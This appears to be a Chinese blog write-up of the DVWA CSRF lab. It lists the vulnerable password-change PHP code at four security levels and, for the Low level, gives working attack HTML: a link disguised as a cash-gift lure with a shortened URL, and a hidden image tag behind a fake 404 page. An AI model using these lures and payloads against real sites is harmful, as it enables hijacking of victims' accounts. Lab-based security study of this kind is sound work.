文章更新於:2020-05-14
注1:環境搭建參見:搭建DVWA Web滲透測試靶場
注2:實驗報告2參見:DVWA 實驗報告:2、命令注入
注3:本文部分參考:新手指南:DVWA-1.9全級別教程之CSRF
DVWA之跨站請求僞造漏洞 CSRF
一、前言
CSRF
是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站並運行一些操作。
產生原因是:簡單的身份驗證只能保證請求發自某個用戶的瀏覽器,卻不能保證請求本身是用戶自願發出的。
二、安全級別:LOW
2.1、源碼
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2.2、攻擊
我們只需在自己的網頁上放置一個指向更改密碼的鏈接,然後誘騙用戶點擊。
如果用戶的身份還在有效期,就會更改成功。
<!Doctype html>
<html>
<head>
<title>CSRF測試</title>
<meta charset='utf-8'>
</head>
<body>
<a href="http://home.cc/dvwa/vulnerabilities/csrf/?password_new=admin666&password_conf=admin666&Change=Change#">點我領取紅包</a>
<a href="http://suo.im/6f1cvI">點我也能領取紅包</a>
</body>
</html>
上面的鏈接中,第一個鏈接是原始的改密碼鏈接。
但這樣當用戶鼠標移到超鏈接上的時候太明顯就是更改他密碼的,
爲了提高成功率,
我們可以將網址縮短。
注:上面的 home.cc
是我在 host
文件裏面添加了與 IP
對應關係。
這裏選擇的是第三個,
將網址輸入之後,點擊一鍵縮短即可。
我們上面的 HTML
代碼製作的網頁是這樣子的:
點擊之後是這樣的:
但是,問題也來了。
改完密碼直接跳轉,
傻子都知道他的密碼被改了。
那麼有沒有神不知鬼不覺的方法?
有:我們將上面的代碼稍微改一下
<!Doctype html>
<html>
<head>
<title>CSRF測試</title>
<meta charset='utf-8'>
</head>
<body>
<img src="http://home.cc/dvwa/vulnerabilities/csrf/?password_new=admin888&password_conf=admin888&Change=Change#" style="display:none;"/>
<h1>404 not found</h1>
</body>
</html>
訪問的時候只會顯示一個 404 not found
的頁面。
三、安全級別:Medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
3.2、攻擊
當我們嘗試用上述方法攻擊的時候,顯示:
這是因爲程序檢查了改密碼請求的來源,
如果不是來自本站則不信任。
這導致我們的鏈接失效。
所以我們需要僞造referer,
至於怎麼僞造,
我還沒學會~
我設置了好幾次html都帶不上referer。
求指教。
四、安全級別:High
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High 等級隨機生成了一個token
需要動態獲取才能繞過。
五、安全級別:Impossible
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
當需要原密碼才能修改密碼的時候,
就不能用跨站繞過了。